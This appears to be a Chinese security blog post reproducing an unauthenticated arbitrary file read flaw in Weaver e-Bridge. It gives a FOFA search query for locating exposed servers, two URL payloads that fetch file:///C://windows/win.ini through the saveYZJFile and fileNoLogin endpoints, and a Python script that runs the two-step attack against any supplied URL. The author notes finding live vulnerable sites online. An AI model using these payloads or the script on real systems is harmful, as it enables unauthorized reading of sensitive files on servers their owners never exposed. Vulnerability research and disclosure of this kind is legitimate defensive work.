泛微e-Bridge未授权文件读取漏洞复现

简介

泛微云桥 e-Bridge 存在未经授权读取任意文件漏洞,可利用该漏洞,实现任意文件读取,获取敏感信息。

fofa

title="泛微云桥e-Bridge"

漏洞复现

因为不是在本地搭建的漏洞复现环境,利用空间搜索引擎只找到很少量存在漏洞的网站,大多数都开启了身份验证,找到的也都是基于Windows的,所以就不在介绍Linux上搭建的了。

payload1

/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C://windows/win.ini&fileExt=txt

直接在url地址后添加

泛微e-Bridge未授权文件读取漏洞复现_第1张图片

之后复制返回的值进行访问

payload2

/file/fileNoLogin/id值

泛微e-Bridge未授权文件读取漏洞复现_第2张图片

成功读取到win.ini文件

附上自己写的漏洞验证脚本,因为初学写的很不好,不足的地方还请指正

import sys
import requests
import json
def fanwei_windows():
    req = requests.session()
    payload = '/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C://windows/win.ini&fileExt=txt'
    exp = '/file/fileNoLogin/'
    url = sys.argv[1]
    head = {
        'Proxy-Connection': 'keep-alive',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
    }
    payload = url+payload
    html = req.get(payload,headers=head).text
    html_dic = json.loads(html) #换成字典类型
    exp = url+exp+html_dic['id']
    try:
        s = req.get(exp,headers=head)
        if s.status_code == 200:
            print("[+] " + url + " 存在漏洞")
    except:
        print("[-] 漏洞不存在")
if __name__ == '__main__':
    try:
        fanwei_windows()
    except json.decoder.JSONDecodeError:
        print("使用方法: python exp.py http://ip:port  url后不需要加“/”")
    except KeyError:
        print("[-] 漏洞不存在")

声明
提供的技术仅供学习参考测试,利用本文提供的信息造成的直接或简介损失由使用者自行承担。


结语

人生这条路上的选择、又或是被迫选择,哪儿有什么对错之分。只不过换了条路,去看另外的风景罢了。

你可能感兴趣的:(漏洞复现,安全,web安全)